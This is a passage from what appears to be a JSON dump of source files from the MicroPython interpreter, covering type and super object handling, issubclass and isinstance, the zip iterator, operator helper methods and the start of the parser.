n_args, size_t n_kw, const mp_obj_t *args) {\n    // instantiate an instance of a class\n\n    mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in);\n\n    if (self->make_new == NULL) {\n        if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n            mp_raise_TypeError(\"cannot create instance\");\n        } else {\n            nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                \"cannot create '%q' instances\", self->name));\n        }\n    }\n\n    // make new instance\n    mp_obj_t o = self->make_new(self, n_args, n_kw, args);\n\n    // return new instance\n    return o;\n}\n\nSTATIC void type_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_type));\n    mp_obj_type_t *self = MP_OBJ_TO_PTR(self_in);\n\n    if (dest[0] == MP_OBJ_NULL) {\n        // load attribute\n        #if MICROPY_CPYTHON_COMPAT\n        if (attr == MP_QSTR___name__) {\n            dest[0] = MP_OBJ_NEW_QSTR(self->name);\n            return;\n        }\n        #endif\n        struct class_lookup_data lookup = {\n            .obj = (mp_obj_instance_t*)self,\n            .attr = attr,\n            .meth_offset = 0,\n            .dest = dest,\n            .is_type = true,\n        };\n        mp_obj_class_lookup(&lookup, self);\n    } else {\n        // delete/store attribute\n\n        // TODO CPython allows STORE_ATTR to a class, but is this the correct implementation?\n\n        if (self->locals_dict != NULL) {\n            assert(self->locals_dict->base.type == &mp_type_dict); // MicroPython restriction, for now\n            mp_map_t *locals_map = &self->locals_dict->map;\n            if (dest[1] == MP_OBJ_NULL) {\n                // delete attribute\n                mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_REMOVE_IF_FOUND);\n                // note that locals_map may be in ROM, so remove will fail in that case\n                if (elem != NULL) {\n                    dest[0] = MP_OBJ_NULL; // indicate success\n                }\n            } else {\n                // store attribute\n                mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(attr), MP_MAP_LOOKUP_ADD_IF_NOT_FOUND);\n                // note that locals_map may be in ROM, so add will fail in that case\n                if (elem != NULL) {\n                    elem->value = dest[1];\n                    dest[0] = MP_OBJ_NULL; // indicate success\n                }\n            }\n        }\n    }\n}\n\nconst mp_obj_type_t mp_type_type = {\n    { &mp_type_type },\n    .name = MP_QSTR_type,\n    .print = type_print,\n    .make_new = type_make_new,\n    .call = type_call,\n    .unary_op = mp_generic_unary_op,\n    .attr = type_attr,\n};\n\nmp_obj_t mp_obj_new_type(qstr name, mp_obj_t bases_tuple, mp_obj_t locals_dict) {\n    assert(MP_OBJ_IS_TYPE(bases_tuple, &mp_type_tuple)); // MicroPython restriction, for now\n    assert(MP_OBJ_IS_TYPE(locals_dict, &mp_type_dict)); // MicroPython restriction, for now\n\n    // TODO might need to make a copy of locals_dict; at least that's how CPython does it\n\n    // Basic validation of base classes\n    size_t len;\n    mp_obj_t *items;\n    mp_obj_tuple_get(bases_tuple, &len, &items);\n    for (size_t i = 0; i < len; i++) {\n        assert(MP_OBJ_IS_TYPE(items[i], &mp_type_type));\n        mp_obj_type_t *t = MP_OBJ_TO_PTR(items[i]);\n        // TODO: Verify with CPy, tested on function type\n        if (t->make_new == NULL) {\n            if (MICROPY_ERROR_REPORTING == MICROPY_ERROR_REPORTING_TERSE) {\n                mp_raise_TypeError(\"type is not an acceptable base type\");\n            } else {\n                nlr_raise(mp_obj_new_exception_msg_varg(&mp_type_TypeError,\n                    \"type '%q' is not an acceptable base type\", t->name));\n            }\n        }\n    }\n\n    mp_obj_type_t *o = m_new0(mp_obj_type_t, 1);\n    o->base.type = &mp_type_type;\n    o->name = name;\n    o->print = instance_print;\n    o->make_new = mp_obj_instance_make_new;\n    o->call = mp_obj_instance_call;\n    o->unary_op = instance_unary_op;\n    o->binary_op = instance_binary_op;\n    o->attr = mp_obj_instance_attr;\n    o->subscr = instance_subscr;\n    o->getiter = instance_getiter;\n    //o->iternext = ; not implemented\n    o->buffer_p.get_buffer = instance_get_buffer;\n\n    if (len > 0) {\n        // Inherit protocol from a base class. This allows to define an\n        // abstract base class which would translate C-level protocol to\n        // Python method calls, and any subclass inheriting from it will\n        // support this feature.\n        o->protocol = ((mp_obj_type_t*)MP_OBJ_TO_PTR(items[0]))->protocol;\n\n        if (len >= 2) {\n            o->parent = MP_OBJ_TO_PTR(bases_tuple);\n        } else {\n            o->parent = MP_OBJ_TO_PTR(items[0]);\n        }\n    }\n\n    o->locals_dict = MP_OBJ_TO_PTR(locals_dict);\n\n    const mp_obj_type_t *native_base;\n    size_t num_native_bases = instance_count_native_bases(o, &native_base);\n    if (num_native_bases > 1) {\n        mp_raise_TypeError(\"multiple bases have instance lay-out conflict\");\n    }\n\n    mp_map_t *locals_map = &o->locals_dict->map;\n    mp_map_elem_t *elem = mp_map_lookup(locals_map, MP_OBJ_NEW_QSTR(MP_QSTR___new__), MP_MAP_LOOKUP);\n    if (elem != NULL) {\n        // __new__ slot exists; check if it is a function\n        if (MP_OBJ_IS_FUN(elem->value)) {\n            // __new__ is a function, wrap it in a staticmethod decorator\n            elem->value = static_class_method_make_new(&mp_type_staticmethod, 1, 0, &elem->value);\n        }\n    }\n\n    return MP_OBJ_FROM_PTR(o);\n}\n\n/******************************************************************************/\n// super object\n\ntypedef struct _mp_obj_super_t {\n    mp_obj_base_t base;\n    mp_obj_t type;\n    mp_obj_t obj;\n} mp_obj_super_t;\n\nSTATIC void super_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {\n    (void)kind;\n    mp_obj_super_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_print_str(print, \"<super: \");\n    mp_obj_print_helper(print, self->type, PRINT_STR);\n    mp_print_str(print, \", \");\n    mp_obj_print_helper(print, self->obj, PRINT_STR);\n    mp_print_str(print, \">\");\n}\n\nSTATIC mp_obj_t super_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    // 0 arguments are turned into 2 in the compiler\n    // 1 argument is not yet implemented\n    mp_arg_check_num(n_args, n_kw, 2, 2, false);\n    mp_obj_super_t *o = m_new_obj(mp_obj_super_t);\n    *o = (mp_obj_super_t){{type_in}, args[0], args[1]};\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC void super_attr(mp_obj_t self_in, qstr attr, mp_obj_t *dest) {\n    if (dest[0] != MP_OBJ_NULL) {\n        // not load attribute\n        return;\n    }\n\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_super));\n    mp_obj_super_t *self = MP_OBJ_TO_PTR(self_in);\n\n    assert(MP_OBJ_IS_TYPE(self->type, &mp_type_type));\n\n    mp_obj_type_t *type = MP_OBJ_TO_PTR(self->type);\n\n    struct class_lookup_data lookup = {\n        .obj = MP_OBJ_TO_PTR(self->obj),\n        .attr = attr,\n        .meth_offset = 0,\n        .dest = dest,\n        .is_type = false,\n    };\n\n    if (type->parent == NULL) {\n        // no parents, do nothing\n    } else if (((mp_obj_base_t*)type->parent)->type == &mp_type_tuple) {\n        const mp_obj_tuple_t *parent_tuple = type->parent;\n        size_t len = parent_tuple->len;\n        const mp_obj_t *items = parent_tuple->items;\n        for (size_t i = 0; i < len; i++) {\n            assert(MP_OBJ_IS_TYPE(items[i], &mp_type_type));\n            mp_obj_class_lookup(&lookup, (mp_obj_type_t*)MP_OBJ_TO_PTR(items[i]));\n            if (dest[0] != MP_OBJ_NULL) {\n                return;\n            }\n        }\n    } else {\n        mp_obj_class_lookup(&lookup, type->parent);\n        if (dest[0] != MP_OBJ_NULL) {\n            return;\n        }\n    }\n\n    mp_obj_class_lookup(&lookup, &mp_type_object);\n}\n\nconst mp_obj_type_t mp_type_super = {\n    { &mp_type_type },\n    .name = MP_QSTR_super,\n    .print = super_print,\n    .make_new = super_make_new,\n    .attr = super_attr,\n};\n\nvoid mp_load_super_method(qstr attr, mp_obj_t *dest) {\n    mp_obj_super_t super = {{&mp_type_super}, dest[1], dest[2]};\n    mp_load_method(MP_OBJ_FROM_PTR(&super), attr, dest);\n}\n\n/******************************************************************************/\n// subclassing and built-ins specific to types\n\n// object and classinfo should be type objects\n// (but the function will fail gracefully if they are not)\nbool mp_obj_is_subclass_fast(mp_const_obj_t object, mp_const_obj_t classinfo) {\n    for (;;) {\n        if (object == classinfo) {\n            return true;\n        }\n\n        // not equivalent classes, keep searching base classes\n\n        // object should always be a type object, but just return false if it's not\n        if (!MP_OBJ_IS_TYPE(object, &mp_type_type)) {\n            return false;\n        }\n\n        const mp_obj_type_t *self = MP_OBJ_TO_PTR(object);\n\n        if (self->parent == NULL) {\n            // type has no parents\n            return false;\n        } else if (((mp_obj_base_t*)self->parent)->type == &mp_type_tuple) {\n            // get the base objects (they should be type objects)\n            const mp_obj_tuple_t *parent_tuple = self->parent;\n            const mp_obj_t *item = parent_tuple->items;\n            const mp_obj_t *top = item + parent_tuple->len - 1;\n\n            // iterate through the base objects\n            for (; item < top; ++item) {\n                if (mp_obj_is_subclass_fast(*item, classinfo)) {\n                    return true;\n                }\n            }\n\n            // search last base (simple tail recursion elimination)\n            object = *item;\n        } else {\n            // type has 1 parent\n            object = MP_OBJ_FROM_PTR(self->parent);\n        }\n    }\n}\n\nSTATIC mp_obj_t mp_obj_is_subclass(mp_obj_t object, mp_obj_t classinfo) {\n    size_t len;\n    mp_obj_t *items;\n    if (MP_OBJ_IS_TYPE(classinfo, &mp_type_type)) {\n        len = 1;\n        items = &classinfo;\n    } else if (MP_OBJ_IS_TYPE(classinfo, &mp_type_tuple)) {\n        mp_obj_tuple_get(classinfo, &len, &items);\n    } else {\n        mp_raise_TypeError(\"issubclass() arg 2 must be a class or a tuple of classes\");\n    }\n\n    for (size_t i = 0; i < len; i++) {\n        // We explicitly check for 'object' here since no-one explicitly derives from it\n        if (items[i] == MP_OBJ_FROM_PTR(&mp_type_object) || mp_obj_is_subclass_fast(object, items[i])) {\n            return mp_const_true;\n        }\n    }\n    return mp_const_false;\n}\n\nSTATIC mp_obj_t mp_builtin_issubclass(mp_obj_t object, mp_obj_t classinfo) {\n    if (!MP_OBJ_IS_TYPE(object, &mp_type_type)) {\n        mp_raise_TypeError(\"issubclass() arg 1 must be a class\");\n    }\n    return mp_obj_is_subclass(object, classinfo);\n}\n\nMP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_issubclass_obj, mp_builtin_issubclass);\n\nSTATIC mp_obj_t mp_builtin_isinstance(mp_obj_t object, mp_obj_t classinfo) {\n    return mp_obj_is_subclass(MP_OBJ_FROM_PTR(mp_obj_get_type(object)), classinfo);\n}\n\nMP_DEFINE_CONST_FUN_OBJ_2(mp_builtin_isinstance_obj, mp_builtin_isinstance);\n\nmp_obj_t mp_instance_cast_to_native_base(mp_const_obj_t self_in, mp_const_obj_t native_type) {\n    mp_obj_type_t *self_type = mp_obj_get_type(self_in);\n    if (!mp_obj_is_subclass_fast(MP_OBJ_FROM_PTR(self_type), native_type)) {\n        return MP_OBJ_NULL;\n    }\n    mp_obj_instance_t *self = (mp_obj_instance_t*)MP_OBJ_TO_PTR(self_in);\n    return self->subobj[0];\n}\n\n/******************************************************************************/\n// staticmethod and classmethod types (probably should go in a different file)\n\nSTATIC mp_obj_t static_class_method_make_new(const mp_obj_type_t *self, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    assert(self == &mp_type_staticmethod || self == &mp_type_classmethod);\n\n    mp_arg_check_num(n_args, n_kw, 1, 1, false);\n\n    mp_obj_static_class_method_t *o = m_new_obj(mp_obj_static_class_method_t);\n    *o = (mp_obj_static_class_method_t){{self}, args[0]};\n    return MP_OBJ_FROM_PTR(o);\n}\n\nconst mp_obj_type_t mp_type_staticmethod = {\n    { &mp_type_type },\n    .name = MP_QSTR_staticmethod,\n    .make_new = static_class_method_make_new,\n};\n\nconst mp_obj_type_t mp_type_classmethod = {\n    { &mp_type_type },\n    .name = MP_QSTR_classmethod,\n    .make_new = static_class_method_make_new,\n};\n"
  },
  {
    "path": "micropython/source/py/objzip.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/objtuple.h\"\n#include \"py/runtime.h\"\n\ntypedef struct _mp_obj_zip_t {\n    mp_obj_base_t base;\n    size_t n_iters;\n    mp_obj_t iters[];\n} mp_obj_zip_t;\n\nSTATIC mp_obj_t zip_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 0, MP_OBJ_FUN_ARGS_MAX, false);\n\n    mp_obj_zip_t *o = m_new_obj_var(mp_obj_zip_t, mp_obj_t, n_args);\n    o->base.type = type;\n    o->n_iters = n_args;\n    for (size_t i = 0; i < n_args; i++) {\n        o->iters[i] = mp_getiter(args[i], NULL);\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_obj_t zip_iternext(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_zip));\n    mp_obj_zip_t *self = MP_OBJ_TO_PTR(self_in);\n    if (self->n_iters == 0) {\n        return MP_OBJ_STOP_ITERATION;\n    }\n    mp_obj_tuple_t *tuple = MP_OBJ_TO_PTR(mp_obj_new_tuple(self->n_iters, NULL));\n\n    for (size_t i = 0; i < self->n_iters; i++) {\n        mp_obj_t next = mp_iternext(self->iters[i]);\n        if (next == MP_OBJ_STOP_ITERATION) {\n            mp_obj_tuple_del(MP_OBJ_FROM_PTR(tuple));\n            return MP_OBJ_STOP_ITERATION;\n        }\n        tuple->items[i] = next;\n    }\n    return MP_OBJ_FROM_PTR(tuple);\n}\n\nconst mp_obj_type_t mp_type_zip = {\n    { &mp_type_type },\n    .name = MP_QSTR_zip,\n    .make_new = zip_make_new,\n    .getiter = mp_identity_getiter,\n    .iternext = zip_iternext,\n};\n"
  },
  {
    "path": "micropython/source/py/opmethods.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include \"py/runtime0.h\"\n#include \"py/builtin.h\"\n\nSTATIC mp_obj_t op_getitem(mp_obj_t self_in, mp_obj_t key_in) {\n    mp_obj_type_t *type = mp_obj_get_type(self_in);\n    return type->subscr(self_in, key_in, MP_OBJ_SENTINEL);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_op_getitem_obj, op_getitem);\n\nSTATIC mp_obj_t op_setitem(mp_obj_t self_in, mp_obj_t key_in, mp_obj_t value_in) {\n    mp_obj_type_t *type = mp_obj_get_type(self_in);\n    return type->subscr(self_in, key_in, value_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_3(mp_op_setitem_obj, op_setitem);\n\nSTATIC mp_obj_t op_delitem(mp_obj_t self_in, mp_obj_t key_in) {\n    mp_obj_type_t *type = mp_obj_get_type(self_in);\n    return type->subscr(self_in, key_in, MP_OBJ_NULL);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_op_delitem_obj, op_delitem);\n\nSTATIC mp_obj_t op_contains(mp_obj_t lhs_in, mp_obj_t rhs_in) {\n    mp_obj_type_t *type = mp_obj_get_type(lhs_in);\n    return type->binary_op(MP_BINARY_OP_IN, lhs_in, rhs_in);\n}\nMP_DEFINE_CONST_FUN_OBJ_2(mp_op_contains_obj, op_contains);\n"
  },
  {
    "path": "micropython/source/py/parse.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013-2015 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <unistd.h> // for ssize_t\n#include <assert.h>\n#include <string.h>\n\n#include \"py/nlr.h\"\n#include \"py/lexer.h\"\n#include \"py/parse.h\"\n#include \"py/parsenum.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/objint.h\"\n#include \"py/objstr.h\"\n#include \"py/builtin.h\"\n\n#if MICROPY_ENABLE_COMPILER && !MICROPY_USE_SMALL_HEAP_COMPILER\n\n#define RULE_ACT_ARG_MASK       (0x0f)\n#define RULE_ACT_KIND_MASK      (0x30)\n#define RULE_ACT_ALLOW_IDENT    (0x40)\n#define RULE_ACT_ADD_BLANK      (0x80)\n#define RULE_ACT_OR             (0x10)\n#define RULE_ACT_AND            (0x20)\n#define RULE_ACT_LIST           (0x30)\n\n#define RULE_ARG_KIND_MASK      (0xf000)\n#define RULE_ARG_ARG_MASK       (0x0fff)\n#define RULE_ARG_TOK            (0x1000)\n#define RULE_ARG_RULE           (0x2000)\n#define RULE_ARG_OPT_RULE       (0x3000)\n\n// (un)comment to use rule names; for debugging\n//#define USE_RULE_NAME (1)\n\ntypedef struct _rule_t {\n    byte rule_id;\n    byte act;\n#ifdef USE_RULE_NAME\n    const char *rule_name;\n#endif\n    uint16_t arg[];\n} rule_t;\n\nenum {\n// define rules with a compile function\n#define DEF_RULE(rule, comp, kind, ...) RULE_##rule,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    RULE_const_object, // special node for a constant, generic Python object\n\n// define rules without a compile function\n#define DEF_RULE(rule, comp, kind, ...)\n#define DEF_RULE_NC(rule, kind, ...) RULE_##rule,\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n};\n\n#define or(n)                   (RULE_ACT_OR | n)\n#define and(n)                  (RULE_ACT_AND | n)\n#define and_ident(n)            (RULE_ACT_AND | n | RULE_ACT_ALLOW_IDENT)\n#define and_blank(n)            (RULE_ACT_AND | n | RULE_ACT_ADD_BLANK)\n#define one_or_more             (RULE_ACT_LIST | 2)\n#define list                    (RULE_ACT_LIST | 1)\n#define list_with_end           (RULE_ACT_LIST | 3)\n#define tok(t)                  (RULE_ARG_TOK | MP_TOKEN_##t)\n#define rule(r)                 (RULE_ARG_RULE | RULE_##r)\n#define opt_rule(r)             (RULE_ARG_OPT_RULE | RULE_##r)\n#ifdef USE_RULE_NAME\n#define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } };\n#define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, #rule, { __VA_ARGS__ } };\n#else\n#define DEF_RULE(rule, comp, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } };\n#define DEF_RULE_NC(rule, kind, ...) static const rule_t rule_##rule = { RULE_##rule, kind, { __VA_ARGS__ } };\n#endif\n#include \"py/grammar.h\"\n#undef or\n#undef and\n#undef list\n#undef list_with_end\n#undef tok\n#undef rule\n#undef opt_rule\n#undef one_or_more\n#undef DEF_RULE\n#undef DEF_RULE_NC\n\nSTATIC const rule_t *const rules[] = {\n// define rules with a compile function\n#define DEF_RULE(rule, comp, kind, ...) &rule_##rule,\n#define DEF_RULE_NC(rule, kind, ...)\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n    NULL, // RULE_const_object\n\n// define rules without a compile function\n#define DEF_RULE(rule, comp, kind, ...)\n#define DEF_RULE_NC(rule, kind, ...) &rule_##rule,\n#include \"py/grammar.h\"\n#undef DEF_RULE\n#undef DEF_RULE_NC\n};\n\ntypedef struct _rule_stack_t {\n    size_t src_line : 8 * sizeof(size_t) - 8; // maximum bits storing source line number\n    size_t rule_id : 8; // this must be large enough to fit largest rule number\n    size_t arg_i; // this dictates the maximum nodes in a \"list\" of things\n} rule_stack_t;\n\ntypedef struct _mp_parse_chunk_t {\n    size_t alloc;\n    union {\n        size_t used;\n        struct _mp_parse_chunk_t *next;\n    } union_;\n    byte data[];\n} mp_parse_chunk_t;\n\ntypedef struct _parser_t {\n    size_t rule_stack_alloc;\n    size_t rule_stack_top;\n    rule_stack_t *rule_stack;\n\n    size_t result_stack_alloc;\n    size_t result_stack_top;\n    mp_parse_node_t *result_stack;\n\n    mp_lexer_t *lexer;\n\n    mp_parse_tree_t tree;\n    mp_parse_chunk_t *cur_chunk;\n\n    #if MICROPY_COMP_CONST\n    mp_map_t consts;\n    #endif\n} parser_t;\n\nSTATIC void *parser_alloc(parser_t *parser, size_t num_bytes) {\n    // use a custom memory allocator to store parse nodes sequentially in large chunks\n\n    mp_parse_chunk_t *chunk = parser->cur_chunk;\n\n    if (chunk != NULL && chunk->union_.used + num_bytes > chunk->alloc) {\n        // not enough room at end of previously allocated chunk so try to grow\n        mp_parse_chunk_t *new_data = (mp_parse_chunk_t*)m_renew_maybe(byte, chunk,\n            sizeof(mp_parse_chunk_t) + chunk->alloc,\n            sizeof(mp_parse_chunk_t) + chunk->alloc + num_bytes, false);\n        if (new_data == NULL) {\n            // could not grow existing memory; shrink it to fit previous\n            (void)m_renew_maybe(byte, chunk, sizeof(mp_parse_chunk_t) + chunk->alloc,\n                sizeof(mp_parse_chunk_t) + chunk->union_.used, false);\n            chunk->alloc = chunk->union_.used;\n            chunk->union_.next = parser->tree.chunk;\n            parser->tree.chunk = chunk;\n            chunk = NULL;\n        } else {\n            // could grow existing memory\n            chunk->alloc += num_bytes;\n        }\n    }\n\n    if (chunk == NULL) {\n        // no previous chunk, allocate a new chunk\n        size_t alloc = MICROPY_ALLOC_PARSE_CHUNK_INIT;\n        if (alloc < num_bytes) {\n            alloc = num_bytes;\n        }\n        chunk = (mp_parse_chunk_t*)m_new(byte, sizeof(mp_parse_chunk_t) + alloc);\n        chunk->alloc = alloc;\n        chunk->union_.used = 0;\n        parser->cur_chunk = chunk;\n    }\n\n    byte *ret = chunk->data + chunk->union_.used;\n    chunk->union_.used += num_bytes;\n    return ret;\n}\n\nSTATIC void push_rule(parser_t *parser, size_t src_line, const rule_t *rule, size_t arg_i) {\n    if (parser->rule_stack_top >= parser->rule_stack_alloc) {\n        rule_stack_t *rs = m_renew(rule_stack_t, parser->rule_stack, parser->rule_stack_alloc, parser->rule_stack_alloc + MICROPY_ALLOC_PARSE_RULE_INC);\n        parser->rule_stack = rs;\n        parser->rule_stack_alloc += MICROPY_ALLOC_PARSE_RULE_INC;\n    }\n    rule_stack_t *rs = &parser->rule_stack[parser->rule_stack_top++];\n    rs->src_line = src_line;\n    rs->rule_id = rule->rule_id;\n    rs->arg_i = arg_i;\n}\n\nSTATIC void push_rule_from_arg(parser_t *parser, size_t arg) {\n    assert((arg & RULE_ARG_KIND_MASK) == RULE_ARG_RULE || (arg & RULE_ARG_KIND_MASK) == RULE_ARG_OPT_RULE);\n    size_t rule_id = arg & RULE_ARG_ARG_MASK;\n    push_rule(parser, parser->lexer->tok_line, rules[rule_id], 0);\n}\n\nSTATIC void pop_rule(parser_t *parser, const rule_t **rule, size_t *arg_i, size_t *src_line) {\n    parser->rule_stack_top -= 1;\n    *rule = rules[parser->rule_stack[parser->rule_stack_top].rule_id];\n    *arg_i = parser->rule_stack[parser->rule_stack_top].arg_i;\n    *src_line = parser->rule_stack[parser->rule_stack_top].src_line;\n}\n\nbool mp_parse_node_is_const_false(mp_parse_node_t pn) {\n    return MP_PARSE_NODE_IS_TOKEN_KIND(pn, MP_TOKEN_KW_FALSE)\n        || (MP_PARSE_NODE_IS_SMALL_INT(pn) && MP_PARSE_NODE_LEAF_SMALL_INT(pn) == 0);\n}\n\nbool mp_parse_node_is_const_true(mp_parse_node_t pn) {\n    return MP_PARSE_NODE_IS_TOKEN_KIND(pn, MP_TOKEN_KW_TRUE)\n        || (MP_PARSE_NODE_IS_SMALL_INT(pn) && MP_PARSE_NODE_LEAF_SMALL_INT(pn) != 0);\n}\n\nbool mp_parse_node_get_int_maybe(mp_parse_node_t pn, mp_obj_t *o) {\n    if (MP_PARSE_NODE_IS_SMALL_INT(pn)) {\n        *o = MP_OBJ_NEW_SMALL_INT(MP_PARSE_NODE_LEAF_SMALL_INT(pn));\n        return true;\n    } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, RULE_const_object)) {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn;\n        #if MICROPY_OBJ_REPR == MICROPY_OBJ_REPR_D\n        // nodes are 32-bit pointers, but need to extract 64-bit object\n        *o = (uint64_t)pns->nodes[0] | ((uint64_t)pns->nodes[1] << 32);\n        #else\n        *o = (mp_obj_t)pns->nodes[0];\n        #endif\n        return MP_OBJ_IS_INT(*o);\n    } else {\n        return false;\n    }\n}\n\nint mp_parse_node_extract_list(mp_parse_node_t *pn, size_t pn_kind, mp_parse_node_t **nodes) {\n    if (MP_PARSE_NODE_IS_NULL(*pn)) {\n        *nodes = NULL;\n        return 0;\n    } else if (MP_PARSE_NODE_IS_LEAF(*pn)) {\n        *nodes = pn;\n        return 1;\n    } else {\n        mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)(*pn);\n        if (MP_PARSE_NODE_STRUCT_KIND(pns) != pn_kind) {\n            *nodes = pn;\n            return 1;\n        } else {\n            *nodes = pns->nodes;\n            return MP_PARSE_NODE_STRUCT_NUM_NODES(pns);\n        }\n    }\n}\n\n#if MICROPY_DEBUG_PRINTERS\nvoid mp_parse_node_print(mp_parse_node_t pn, size_t indent) {\n    if (MP_PARSE_NODE_IS_STRUCT(pn)) {\n        printf(\"[% 4d] \", (int)((mp_parse_node_struct_t*)pn)->source_line);\n    } else {\n        printf(\"       \");\n    }\n    for (size_t i = 0; i < indent; i++) {\n        printf(\" \");\n    }\n    if (MP_PARSE_NODE_IS_NULL(pn)) {\n        printf(\"NULL\\n\");\n    } else if (MP_PARSE_NODE_IS_SMALL_INT(pn)) {\n        mp_int_t arg = MP_PARSE_NODE_LEAF_SMALL_INT(pn);\n        printf(\"int(\" INT_FMT \")\\n\", arg);\n    } else if (MP_PARSE_NODE_IS_LEAF(pn)) {\n        uintptr_t arg = MP_PARSE_NODE_LEAF_ARG(pn);\n        switch (MP_PARSE_NODE_LEAF_KIND(pn)) {\n            case MP_PARSE_NODE_ID: printf(\"id(%s)\\n\", qstr_str(arg)); break;\n            case MP_PARSE_NODE_STRING: printf(\"str(%s)\\n\", qstr_str(arg)); break;\n            case MP_PARSE_NODE_BYTES: printf(\"bytes(%s)\\n\", qstr_str(arg)); break;\n            default:\n                assert(MP_PARSE_NODE_LEAF_KIND(pn) == MP_PARSE_NODE_TOKEN);\n                printf(\"tok(%u)\\n\", (uint)arg); break;\n        }\n    } else {\n        // node must be a mp_parse_node_struct_t\n        mp_parse_node_struct_t *pns = 